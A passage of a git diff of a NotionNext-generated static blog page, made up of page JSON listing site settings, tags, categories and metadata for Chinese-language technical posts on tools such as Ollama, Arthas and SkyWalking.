Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"tag":"文字"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"文字"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 